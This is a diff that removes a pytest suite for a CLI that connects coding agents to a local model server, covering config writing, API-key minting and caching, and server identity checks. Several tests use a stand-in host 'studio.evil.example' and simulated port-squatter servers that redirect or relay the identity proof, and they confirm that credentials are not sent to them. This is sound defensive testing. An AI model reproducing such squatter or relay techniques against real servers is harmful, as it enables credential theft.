-def test_claude_settings_created_when_missing(claude_settings):
-    connect.ensure_claude_attribution_header()
-    settings = json.loads(claude_settings.read_text())
-    assert settings["env"]["CLAUDE_CODE_ATTRIBUTION_HEADER"] == "0"
-
-
-def test_claude_settings_merge_preserves_existing(claude_settings):
-    claude_settings.parent.mkdir(parents = True)
-    claude_settings.write_text(
-        json.dumps({"effortLevel": "high", "env": {"CLAUDE_CODE_ENABLE_TELEMETRY": "0"}})
-    )
-    connect.ensure_claude_attribution_header()
-    settings = json.loads(claude_settings.read_text())
-    assert settings["effortLevel"] == "high"
-    assert settings["env"]["CLAUDE_CODE_ENABLE_TELEMETRY"] == "0"
-    assert settings["env"]["CLAUDE_CODE_ATTRIBUTION_HEADER"] == "0"
-
-
-def test_claude_settings_already_set_untouched(claude_settings):
-    claude_settings.parent.mkdir(parents = True)
-    original = json.dumps({"env": {"CLAUDE_CODE_ATTRIBUTION_HEADER": "0"}})
-    claude_settings.write_text(original)
-    connect.ensure_claude_attribution_header()
-    assert claude_settings.read_text() == original
-
-
-def test_claude_settings_bad_json_left_alone(claude_settings, capsys):
-    claude_settings.parent.mkdir(parents = True)
-    claude_settings.write_text("{not json")
-    connect.ensure_claude_attribution_header()
-    assert claude_settings.read_text() == "{not json"
-    assert "couldn't parse" in capsys.readouterr().err
-
-
-def _fake_claude(monkeypatch, version_output: str) -> None:
-    monkeypatch.setattr(connect.shutil, "which", lambda _: "/usr/local/bin/claude")
-    monkeypatch.setattr(
-        connect.subprocess,
-        "run",
-        lambda *args, **kwargs: SimpleNamespace(stdout = version_output),
-    )
-
-
-def test_cache_flags_passed_to_supported_claude(monkeypatch):
-    _fake_claude(monkeypatch, "2.1.98 (Claude Code)\n")
-    assert connect._claude_cache_flags() == ["--exclude-dynamic-system-prompt-sections"]
-
-
-def test_cache_flags_skipped_on_old_claude(monkeypatch):
-    _fake_claude(monkeypatch, "2.0.14 (Claude Code)\n")
-    assert connect._claude_cache_flags() == []
-
-
-def test_cache_flags_skipped_on_unparseable_version(monkeypatch):
-    _fake_claude(monkeypatch, "weird build string\n")
-    assert connect._claude_cache_flags() == []
-
-
-def _parse_toml(text: str) -> dict:
-    tomllib = pytest.importorskip("tomllib")
-    return tomllib.loads(text)
-
-
-def test_merge_codex_config_fresh():
-    merged = connect._merge_codex_config("", BASE)
-    parsed = _parse_toml(merged)
-    assert parsed["oss_provider"] == "unsloth_api"
-    provider = parsed["model_providers"]["unsloth_api"]
-    assert provider["base_url"] == f"{BASE}/v1"
-    assert provider["wire_api"] == "responses"
-    assert provider["requires_openai_auth"] is False
-
-
-def test_merge_codex_config_replaces_stale_block():
-    existing = (
-        'model = "gpt-5"\n'
-        "\n"
-        "[model_providers.unsloth_api]\n"
-        'base_url = "http://old-host:9999/v1"\n'
-        'wire_api = "chat"\n'
-        "\n"
-        "[model_providers.unsloth_api.http_headers]\n"
-        'x-old = "1"\n'
-        "\n"
-        "[model_providers.ollama]\n"
-        'base_url = "http://localhost:11434/v1"\n'
-    )
-    merged = connect._merge_codex_config(existing, BASE)
-    parsed = _parse_toml(merged)
-    assert parsed["model"] == "gpt-5"
-    assert parsed["model_providers"]["unsloth_api"]["base_url"] == f"{BASE}/v1"
-    assert parsed["model_providers"]["unsloth_api"]["wire_api"] == "responses"
-    assert "http_headers" not in parsed["model_providers"]["unsloth_api"]
-    assert parsed["model_providers"]["ollama"]["base_url"] == "http://localhost:11434/v1"
-    assert connect._merge_codex_config(merged, BASE) == merged
-
-
-def test_merge_codex_config_keeps_user_oss_provider():
-    merged = connect._merge_codex_config('oss_provider = "ollama"\n', BASE)
-    assert _parse_toml(merged)["oss_provider"] == "ollama"
-
-
-def test_write_codex_config_profile(tmp_path, monkeypatch):
-    monkeypatch.setenv("CODEX_HOME", str(tmp_path))
-    connect.write_codex_config(BASE, MODEL)
-    profile = _parse_toml((tmp_path / "unsloth_api.config.toml").read_text())
-    assert profile["oss_provider"] == "unsloth_api"
-    assert profile["model_provider"] == "unsloth_api"
-    assert profile["model"] == MODEL["id"]
-    assert profile["model_context_window"] == 131072
-    config = _parse_toml((tmp_path / "config.toml").read_text())
-    assert config["model_providers"]["unsloth_api"]["env_key"] == "UNSLOTH_STUDIO_AUTH_TOKEN"
-
-
-@pytest.fixture()
-def fake_studio(tmp_path, monkeypatch, claude_settings):
-    calls = []
-    state = {"models": [MODEL]}
-
-    def http_json(
-        method,
-        url,
-        token,
-        payload = None,
-        timeout = 30,
-        error = None,
-    ):
-        calls.append((method, url, payload))
-        if url.endswith("/v1/models"):
-            return {"object": "list", "data": state["models"]}
-        if url.endswith("/api/inference/status"):
-            return {"is_gguf": True, "model_identifier": state["models"][0]["id"]}
-        if url.endswith("/api/auth/api-keys"):
-            return {"key": "sk-unsloth-feedfacefeedface"}
-        if url.endswith("/api/inference/load"):
-            state["models"] = [{"id": payload["model_path"], "context_length": 4096}]
-            return {}
-        raise AssertionError(f"unexpected request: {method} {url}")
-
-    monkeypatch.setattr(connect, "find_studio_server", lambda: BASE)
-    # Identity handshake has its own tests; trust the loopback server here.
-    monkeypatch.setattr(connect, "verify_studio_identity", lambda base: True)
-    # _studio_token / api-keys are faked so the mint flow stays offline.
-    monkeypatch.setattr(connect, "_studio_token", lambda: "jwt-token")
-    monkeypatch.setattr(connect, "_http_json", http_json)
-    monkeypatch.setattr(connect, "_key_cache_path", lambda: tmp_path / "agent_api_key.json")
-    # No `claude` on PATH, so _claude_cache_flags never probes the real binary.
-    monkeypatch.setattr(connect.shutil, "which", lambda _: None)
-    monkeypatch.setenv("CODEX_HOME", str(tmp_path / "codex"))
-    monkeypatch.delenv("UNSLOTH_API_KEY", raising = False)
-    return calls
-
-
-def test_connect_claude_no_launch(fake_studio, claude_settings):
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    _assert_env_unset(result.output, "ANTHROPIC_API_KEY")
-    _assert_env_unset(result.output, "CLAUDE_CODE_OAUTH_TOKEN")
-    _assert_env_set(result.output, "ANTHROPIC_BASE_URL", BASE)
-    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface")
-    _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"])
-    _assert_env_set(result.output, "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC", "1")
-    _assert_env_set(result.output, "CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS", "1")
-    assert f"claude --model {MODEL['id']} --exclude-dynamic-system-prompt-sections" in result.output
-    settings = json.loads(claude_settings.read_text())
-    assert settings["env"]["CLAUDE_CODE_ATTRIBUTION_HEADER"] == "0"
-
-
-def test_connect_claude_launch_scrubs_conflicting_auth_env(fake_studio, monkeypatch):
-    captured = {}
-    monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-anthropic-stale")
-    monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "oauth-stale")
-    monkeypatch.setattr(connect.shutil, "which", lambda _: "/usr/local/bin/claude")
-    monkeypatch.setattr(connect, "_claude_cache_flags", lambda: [])
-
-    def run(command, env):
-        captured["command"] = command
-        captured["env"] = env
-        return SimpleNamespace(returncode = 0)
-
-    monkeypatch.setattr(connect.subprocess, "run", run)
-    result = CliRunner().invoke(connect.connect_app, ["claude"])
-
-    assert result.exit_code == 0, result.output
-    assert captured["command"] == ["/usr/local/bin/claude", "--model", MODEL["id"]]
-    assert "ANTHROPIC_API_KEY" not in captured["env"]
-    assert "CLAUDE_CODE_OAUTH_TOKEN" not in captured["env"]
-    assert captured["env"]["ANTHROPIC_AUTH_TOKEN"] == "sk-unsloth-feedfacefeedface"
-    assert captured["env"]["ANTHROPIC_BASE_URL"] == BASE
-    assert captured["env"]["ANTHROPIC_MODEL"] == MODEL["id"]
-
-
-@pytest.mark.skipif(
-    os.name == "nt",
-    reason = "WSL-from-Linux scenario (calling a Windows agent .exe from inside WSL); "
-    "os.name is 'posix' under WSL, so this path can't run on a native Windows runner.",
-)
-def test_connect_claude_windows_shim_from_wsl_bridges_env(fake_studio, monkeypatch):
-    captured = {}
-    monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu")
-    monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-anthropic-stale")
-    monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "oauth-stale")
-    monkeypatch.setattr(
-        connect.shutil, "which", lambda _: "/mnt/c/Users/samle/AppData/Roaming/npm/claude"
-    )
-    monkeypatch.setattr(connect, "_claude_cache_flags", lambda: [])
-
-    def run(command, env):
-        captured["command"] = command
-        captured["env"] = env
-        return SimpleNamespace(returncode = 0)
-
-    monkeypatch.setattr(connect.subprocess, "run", run)
-    result = CliRunner().invoke(connect.connect_app, ["claude"])
-
-    assert result.exit_code == 0, result.output
-    assert captured["command"] == [
-        "/mnt/c/Users/samle/AppData/Roaming/npm/claude",
-        "--model",
-        MODEL["id"],
-    ]
-    assert captured["env"]["ANTHROPIC_API_KEY"] == ""
-    assert captured["env"]["CLAUDE_CODE_OAUTH_TOKEN"] == ""
-    assert captured["env"]["ANTHROPIC_AUTH_TOKEN"] == "sk-unsloth-feedfacefeedface"
-    assert captured["env"]["ANTHROPIC_BASE_URL"] == BASE
-    assert captured["env"]["ANTHROPIC_MODEL"] == MODEL["id"]
-    for name in (
-        "ANTHROPIC_AUTH_TOKEN",
-        "ANTHROPIC_BASE_URL",
-        "ANTHROPIC_MODEL",
-        "ANTHROPIC_API_KEY",
-        "CLAUDE_CODE_OAUTH_TOKEN",
-    ):
-        assert name in captured["env"]["WSLENV"].split(":")
-
-
-@pytest.mark.skipif(
-    os.name == "nt",
-    reason = "WSL-from-Linux scenario (calling a Windows agent .exe from inside WSL); "
-    "os.name is 'posix' under WSL, so this path can't run on a native Windows runner.",
-)
-def test_connect_claude_no_launch_windows_shim_from_wsl_prints_wslenv(fake_studio, monkeypatch):
-    monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu")
-    monkeypatch.setattr(
-        connect.shutil, "which", lambda _: "/mnt/c/Users/samle/AppData/Roaming/npm/claude"
-    )
-
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-
-    assert result.exit_code == 0, result.output
-    assert "export ANTHROPIC_API_KEY=" in result.output
-    assert "export CLAUDE_CODE_OAUTH_TOKEN=" in result.output
-    assert "export WSLENV=" in result.output
-    assert "ANTHROPIC_AUTH_TOKEN" in result.output
-    assert "CLAUDE_CODE_OAUTH_TOKEN" in result.output
-
-
-def test_connect_codex_no_launch(fake_studio, tmp_path):
-    result = CliRunner().invoke(connect.connect_app, ["codex", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "UNSLOTH_STUDIO_AUTH_TOKEN", "sk-unsloth-feedfacefeedface")
-    assert "codex --oss --profile unsloth_api" in result.output
-    assert (tmp_path / "codex" / "config.toml").exists()
-    assert (tmp_path / "codex" / "unsloth_api.config.toml").exists()
-
-
-def test_connect_key_minted_once_then_cached(fake_studio, tmp_path):
-    CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    # First run mints; second reuses the minted key cached for this server.
-    mints = [c for c in fake_studio if c[1].endswith("/api/auth/api-keys")]
-    assert len(mints) == 1
-    cached = json.loads((tmp_path / "agent_api_key.json").read_text())
-    assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface"]
-
-
-def test_connect_explicit_key_remembered_for_keyless_runs(fake_studio, tmp_path):
-    CliRunner().invoke(
-        connect.connect_app,
-        ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
-    )
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    # Reused, not re-minted (a mint would return the feedface stand-in).
-    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
-    cached = json.loads((tmp_path / "agent_api_key.json").read_text())
-    # An explicit key is remembered as "saved" so it replays without the handshake.
-    assert cached["servers"][BASE]["saved"] == ["sk-unsloth-deadbeefdeadbeef"]
-
-
-def test_connect_skips_cached_keys_the_server_rejects(fake_studio, tmp_path, monkeypatch):
-    cache = tmp_path / "agent_api_key.json"
-    cache.write_text(
-        json.dumps(
-            {"servers": {BASE: {"minted": ["sk-unsloth-stale", "sk-unsloth-feedfacefeedface"]}}}
-        )
-    )
-    inner = connect._http_json
-
-    def http_json(
-        method,
-        url,
-        token,
-        payload = None,
-        timeout = 30,
-        error = None,
-    ):
-        if url.endswith("/v1/models") and token == "sk-unsloth-stale":
-            raise urllib.error.HTTPError(url, 401, "Unauthorized", None, None)
-        return inner(method, url, token, payload, timeout, error)
-
-    monkeypatch.setattr(connect, "_http_json", http_json)
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface")
-    # The working key moves to the front so the next run tries it first.
-    cached = json.loads(cache.read_text())
-    assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface", "sk-unsloth-stale"]
-
-
-def test_connect_legacy_unscoped_cache_not_replayed(fake_studio, tmp_path):
-    # Legacy unscoped caches have no server binding (could leak across servers),
-    # so they're ignored: a fresh key is minted and stored scoped to this server.
-    (tmp_path / "agent_api_key.json").write_text(json.dumps({"key": "sk-unsloth-oldformat"}))
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface")
-    cached = json.loads((tmp_path / "agent_api_key.json").read_text())
-    assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface"]
-    assert "key" not in cached  # legacy field collapsed away
-
-
-def test_connect_model_flag_loads_on_server(fake_studio):
-    result = CliRunner().invoke(
-        connect.connect_app, ["claude", "--no-launch", "--model", "unsloth/Qwen3.5-35B-A3B"]
-    )
-    assert result.exit_code == 0, result.output
-    loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
-    assert loads == [
-        ("POST", f"{BASE}/api/inference/load", {"model_path": "unsloth/Qwen3.5-35B-A3B"})
-    ]
-    _assert_env_set(result.output, "ANTHROPIC_MODEL", "unsloth/Qwen3.5-35B-A3B")
-
-
-def test_connect_model_flag_matches_canonical_id(fake_studio, monkeypatch):
-    # Studio registers a loaded model under a canonical id (resolved identifier
-    # / casing) that can differ from the path we passed. The agent must connect
-    # to that model, not silently fall through to the first loaded one.
-    requested = "Unsloth/Qwen3.5-35B-A3B"
-    canonical = "unsloth/Qwen3.5-35B-A3B"
-    inner = connect._http_json
-
-    def http_json(
-        method,
-        url,
-        token,
-        payload = None,
-        timeout = 30,
-        error = None,
-    ):
-        if url.endswith("/api/inference/load"):
-            return {"model": canonical, "display_name": canonical}
-        if url.endswith("/v1/models"):
-            # Decoy sorts first, so models[0] is the wrong pick on the old code.
-            return {"object": "list", "data": [MODEL, {"id": canonical, "context_length": 4096}]}
-        return inner(method, url, token, payload, timeout, error)
-
-    monkeypatch.setattr(connect, "_http_json", http_json)
-    result = CliRunner().invoke(
-        connect.connect_app, ["claude", "--no-launch", "--model", requested]
-    )
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "ANTHROPIC_MODEL", canonical)
-
-
-def test_connect_no_model_loaded_errors(fake_studio, monkeypatch):
-    monkeypatch.setattr(
-        connect,
-        "_http_json",
-        lambda method, url, token, payload = None, timeout = 30, error = None: (
-            {"key": "sk-unsloth-feedfacefeedface"}
-            if url.endswith("/api/auth/api-keys")
-            else {"object": "list", "data": []}
-        ),
-    )
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 1
-    assert "No model is loaded" in result.output
-
-
-def test_connect_requested_model_not_loaded_fails(fake_studio, monkeypatch):
-    # Studio never surfaces the requested model; fail loudly rather than
-    # silently connecting to whatever else happens to be loaded.
-    inner = connect._http_json
-
-    def http_json(
-        method,
-        url,
-        token,
-        payload = None,
-        timeout = 30,
-        error = None,
-    ):
-        if url.endswith("/api/inference/load"):
-            return {}
-        if url.endswith("/v1/models"):
-            return {"object": "list", "data": [MODEL]}  # decoy; request never appears
-        return inner(method, url, token, payload, timeout, error)
-
-    monkeypatch.setattr(connect, "_http_json", http_json)
-    result = CliRunner().invoke(
-        connect.connect_app, ["claude", "--no-launch", "--model", "unsloth/Missing-7B"]
-    )
-    assert result.exit_code == 1
-    assert "unsloth/Missing-7B" in result.output
-
-
-def test_connect_codex_rejects_non_gguf_model(fake_studio, monkeypatch):
-    inner = connect._http_json
-
-    def http_json(
-        method,
-        url,
-        token,
-        payload = None,
-        timeout = 30,
-        error = None,
-    ):
-        if url.endswith("/api/inference/status"):
-            return {"is_gguf": False, "model_identifier": "unsloth/Qwen3-0.6B"}
-        return inner(method, url, token, payload, timeout, error)
-
-    monkeypatch.setattr(connect, "_http_json", http_json)
-    result = CliRunner().invoke(connect.connect_app, ["codex", "--no-launch"])
-    assert result.exit_code == 1
-    assert "GGUF" in result.output
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 0, result.output
-
-
-def test_connect_nonloopback_keyless_refuses_to_send_credential(fake_studio, monkeypatch):
-    # A server known only by URL + health check is unverified: keyless connect
-    # must refuse and make no request at all.
-    monkeypatch.setattr(connect, "find_studio_server", lambda: "http://studio.evil.example:8888")
-    result = CliRunner().invoke(connect.connect_app, ["opencode", "--no-launch"])
-    assert result.exit_code == 1
-    assert "Settings → API" in result.output
-    assert "--api-key" in result.output
-    assert fake_studio == []  # no HTTP request of any kind (no mint, no /v1/models)
-
-
-def test_connect_nonloopback_explicit_key_is_allowed(fake_studio, monkeypatch):
-    # User named both server and key, so it's their choice; only auto-send is blocked.
-    monkeypatch.setattr(connect, "find_studio_server", lambda: "http://studio.example:8888")
-    result = CliRunner().invoke(
-        connect.connect_app,
-        ["opencode", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
-    )
-    assert result.exit_code == 0, result.output
-
-
-def test_connect_nonloopback_replays_saved_key(fake_studio, tmp_path, monkeypatch):
-    # A key saved for a remote (non-loopback) Studio is replayed on keyless runs;
-    # auto-minting stays blocked for non-loopback.
-    remote = "http://studio.example:8888"
-    monkeypatch.setattr(connect, "find_studio_server", lambda: remote)
-    (tmp_path / "agent_api_key.json").write_text(
-        json.dumps({"servers": {remote: {"saved": ["sk-unsloth-deadbeefdeadbeef"]}}})
-    )
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
-    assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio)  # never minted
-
-
-def test_connect_studio_server_errors_on_explicit_remote(monkeypatch):
-    # A user who pointed UNSLOTH_STUDIO_URL at a remote Studio should get an
-    # error, not a silent local model load (which they did not ask for).
-    import typer
-
-    import unsloth_cli._inference as inference
-
-    monkeypatch.setenv("UNSLOTH_STUDIO_URL", "http://studio.example:8888")
-    monkeypatch.setattr(
-        inference, "find_studio_server", lambda *a, **k: "http://studio.example:8888"
-    )
-    with pytest.raises(typer.Exit):
-        inference.connect_studio_server("m", hf_token = None, max_seq_length = 4096, load_in_4bit = False)
-
-
-def test_connect_studio_server_falls_back_locally_on_default_discovery(monkeypatch):
-    # Opportunistic local discovery (no UNSLOTH_STUDIO_URL): if the loopback
-    # server can't be verified, fall back to a local load rather than erroring.
-    import unsloth_cli._inference as inference
-
-    monkeypatch.delenv("UNSLOTH_STUDIO_URL", raising = False)
-    monkeypatch.setattr(inference, "find_studio_server", lambda *a, **k: "http://127.0.0.1:8888")
-    monkeypatch.setattr(inference, "verify_studio_identity", lambda *a, **k: False)
-    assert (
-        inference.connect_studio_server("m", hf_token = None, max_seq_length = 4096, load_in_4bit = False)
-        is None
-    )
-
-
-def test_connect_unverified_loopback_without_cached_key_refuses_to_mint(
-    fake_studio, tmp_path, monkeypatch
-):
-    # With no saved key, the next step would auto-mint; an unverified loopback
-    # server (port squatter) must be refused, with nothing sent.
-    monkeypatch.setattr(connect, "verify_studio_identity", lambda base: False)
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 1
-    assert "--api-key" in result.output
-    assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio)  # never minted
-
-
-def test_connect_replays_saved_key_without_identity_check(fake_studio, tmp_path, monkeypatch):
-    # A "saved" key (e.g. for an SSH-tunnelled Studio the handshake can't match)
-    # replays on keyless runs without the handshake, scoped to its own base.
-    cache = tmp_path / "agent_api_key.json"
-    cache.write_text(json.dumps({"servers": {BASE: {"saved": ["sk-unsloth-deadbeefdeadbeef"]}}}))
-    monkeypatch.setattr(connect, "verify_studio_identity", lambda base: False)
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
-    assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio)  # reused, not minted
-
-
-def test_connect_minted_cache_requires_identity_check(fake_studio, tmp_path, monkeypatch):
-    # A "minted" key is NOT replayed to an unverified loopback server: minting and
-    # minted-key replay both sit behind the handshake, so a squatter can't grab it.
-    cache = tmp_path / "agent_api_key.json"
-    cache.write_text(json.dumps({"servers": {BASE: {"minted": ["sk-unsloth-feedfacefeedface"]}}}))
-    monkeypatch.setattr(connect, "verify_studio_identity", lambda base: False)
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 1
-    assert "--api-key" in result.output
-    assert not any(c[1].endswith("/v1/models") for c in fake_studio)  # minted key never sent
-
-
-def test_connect_explicit_key_skips_identity_check(fake_studio, monkeypatch):
-    # An explicit key is the user's deliberate choice, so it does not require
-    # the automatic identity handshake.
-    monkeypatch.setattr(connect, "verify_studio_identity", lambda base: False)
-    result = CliRunner().invoke(
-        connect.connect_app,
-        ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
-    )
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
-
-
-def _serve_identity(proof_for):
-    """Start a localhost HTTP server answering /api/auth/identity with
-    proof_for(nonce_bytes). Returns (base_url, shutdown)."""
-    import base64
-    import threading
-    from http.server import BaseHTTPRequestHandler, HTTPServer
-    from urllib.parse import parse_qs, urlparse
-
-    class Handler(BaseHTTPRequestHandler):
-        def do_GET(self):
-            parsed = urlparse(self.path)
-            if parsed.path != "/api/auth/identity":
-                self.send_response(404)
-                self.end_headers()
-                return
-            nonce = base64.urlsafe_b64decode(parse_qs(parsed.query)["nonce"][0])
-            host, port = self.server.server_address[0], self.server.server_address[1]
-            body = json.dumps({"proof": proof_for(nonce, host, port)}).encode()
-            self.send_response(200)
-            self.send_header("Content-Type", "application/json")
-            self.end_headers()
-            self.wfile.write(body)
-
-        def log_message(self, *a):
-            pass
-
-    server = HTTPServer(("127.0.0.1", 0), Handler)
-    threading.Thread(target = server.serve_forever, daemon = True).start()
-    base = f"http://127.0.0.1:{server.server_address[1]}"
-    return base, server.shutdown
-
-
-def test_verify_studio_identity_end_to_end(tmp_path, monkeypatch):
-    # Real crypto end to end: verify_studio_identity reads the install secret from
-    # an isolated DB; a "good" server proves the same secret, a spoofing one can't.
-    import unsloth_cli._inference as inference
-
-    inference.ensure_studio_backend_path()
-    try:
-        from studio.backend.auth import storage
-    except Exception as exc:  # backend not importable here (e.g. missing deps)
-        pytest.skip(f"studio backend not importable: {exc}")
-
-    monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db")
-    monkeypatch.setattr(storage, "_identity_secret_cache", None)
-
-    good = lambda nonce, host, port: storage.compute_identity_proof(
-        nonce, host, port
-    )  # real secret
-    bad = lambda nonce, host, port: "00" * 32  # spoofer without the secret
-    base_ok, stop_ok = _serve_identity(good)
-    base_bad, stop_bad = _serve_identity(bad)
-    try:
-        assert inference.verify_studio_identity(base_ok) is True
-        assert inference.verify_studio_identity(base_bad) is False
-    finally:
-        stop_ok()
-        stop_bad()
-
-
-def _serve_redirect(target):
-    """Start a localhost server that 302-redirects every GET to target+path."""
-    import threading
-    from http.server import BaseHTTPRequestHandler, HTTPServer
-
-    class Handler(BaseHTTPRequestHandler):
-        def do_GET(self):
-            self.send_response(302)
-            self.send_header("Location", target + self.path)
-            self.end_headers()
-
-        def log_message(self, *a):
-            pass
-
-    server = HTTPServer(("127.0.0.1", 0), Handler)
-    threading.Thread(target = server.serve_forever, daemon = True).start()
-    base = f"http://127.0.0.1:{server.server_address[1]}"
-    return base, server.shutdown
-
-
-def test_verify_studio_identity_rejects_redirect(tmp_path, monkeypatch):
-    # A squatter could 302 /api/auth/identity to the real Studio and relay its
-    # proof; redirects must be refused so the squatter's base isn't accepted.
-    import unsloth_cli._inference as inference
-
-    inference.ensure_studio_backend_path()
-    try:
-        from studio.backend.auth import storage
-    except Exception as exc:
-        pytest.skip(f"studio backend not importable: {exc}")
-
-    monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db")
-    monkeypatch.setattr(storage, "_identity_secret_cache", None)
-
-    real_base, stop_real = _serve_identity(
-        lambda nonce, host, port: storage.compute_identity_proof(nonce, host, port)
-    )
-    squatter_base, stop_squatter = _serve_redirect(real_base)
-    try:
-        assert inference.verify_studio_identity(real_base) is True  # direct: ok
-        assert inference.verify_studio_identity(squatter_base) is False  # relayed: refused
-    finally:
-        stop_real()
-        stop_squatter()
-
-
-def test_verify_studio_identity_rejects_relayed_proof(tmp_path, monkeypatch):
-    # A squatter that proxies the nonce to the real Studio on another port gets a
-    # proof bound to *that* port; the client expects one bound to the port it
-    # connected to, so the relayed proof is rejected.
-    import unsloth_cli._inference as inference
-
-    inference.ensure_studio_backend_path()
-    try:
-        from studio.backend.auth import storage
-    except Exception as exc:
-        pytest.skip(f"studio backend not importable: {exc}")
-
-    monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db")
-    monkeypatch.setattr(storage, "_identity_secret_cache", None)
-
-    real_base, stop_real = _serve_identity(
-        lambda nonce, host, port: storage.compute_identity_proof(nonce, host, port)
-    )
-    real_port = int(real_base.rsplit(":", 1)[1])
-    # The squatter answers on its own port but returns the proof for the real port.
-    squatter_base, stop_squatter = _serve_identity(
-        lambda nonce, host, port: storage.compute_identity_proof(nonce, host, real_port)
-    )
-    try:
-        assert inference.verify_studio_identity(real_base) is True
-        assert inference.verify_studio_identity(squatter_base) is False
-    finally:
-        stop_real()
-        stop_squatter()
-
-
-@pytest.mark.parametrize(
-    "url, loopback",
-    [
-        ("http://127.0.0.1:8888", True),
-        ("http://localhost:8888", True),
-        ("http://[::1]:8888", True),
-        ("http://127.0.0.5:9001", True),  # SSH tunnels can land anywhere in 127/8
-        ("http://0.0.0.0:8888", False),
-        ("http://10.0.0.5:8888", False),
-        ("http://studio.evil.example:8888", False),
-        ("https://studio.example.com", False),
-    ],
-)
-def test_is_loopback_url(url, loopback):
-    assert connect.is_loopback_url(url) is loopback
-
-
-def test_connect_no_studio_errors(fake_studio, monkeypatch):
-    monkeypatch.setattr(connect, "find_studio_server", lambda: None)
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 1
-    assert "No running Studio server" in result.output
-
-
-def test_connect_explicit_api_key_skips_mint(fake_studio):
-    result = CliRunner().invoke(
-        connect.connect_app,
-        ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
-    )
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
-    assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio)
-
-
-# ── OpenClaw (Anthropic /v1/messages) ────────────────────────────────
-
-
-def test_write_openclaw_config_fresh(tmp_path, monkeypatch):
-    path = tmp_path / "openclaw.json"
-    monkeypatch.setattr(connect, "openclaw_config_path", lambda: path)
-    connect.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL)
-    config = json.loads(path.read_text())
-    provider = config["models"]["providers"]["unsloth"]
-    assert provider["baseUrl"] == f"{BASE}/v1"
-    assert provider["apiKey"] == "sk-unsloth-abc"
-    assert provider["api"] == "openai-completions"
-    assert provider["models"] == [
-        {"id": MODEL["id"], "name": MODEL["id"], "contextWindow": MODEL["context_length"]}
-    ]
-    # The default model must be pinned or OpenClaw has nothing active.
-    assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}"
-    assert config["gateway"]["mode"] == "local"
-    assert config["gateway"]["auth"]["mode"] == "none"  # unauth loopback gateway
-    if os.name != "nt":  # the file holds an API key
-        assert path.stat().st_mode & 0o777 == 0o600
-
-
-def test_write_openclaw_config_preserves_and_idempotent(tmp_path, monkeypatch):
-    path = tmp_path / "openclaw.json"
-    monkeypatch.setattr(connect, "openclaw_config_path", lambda: path)
-    path.write_text(
-        json.dumps(
-            {
-                "theme": "dark",
-                "agents": {"defaults": {"temperature": 0.5}},
-                "models": {"mode": "replace", "providers": {"openrouter": {"baseUrl": "x"}}},
-            }
-        )
-    )
-    connect.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL)
-    config = json.loads(path.read_text())
-    assert config["theme"] == "dark"
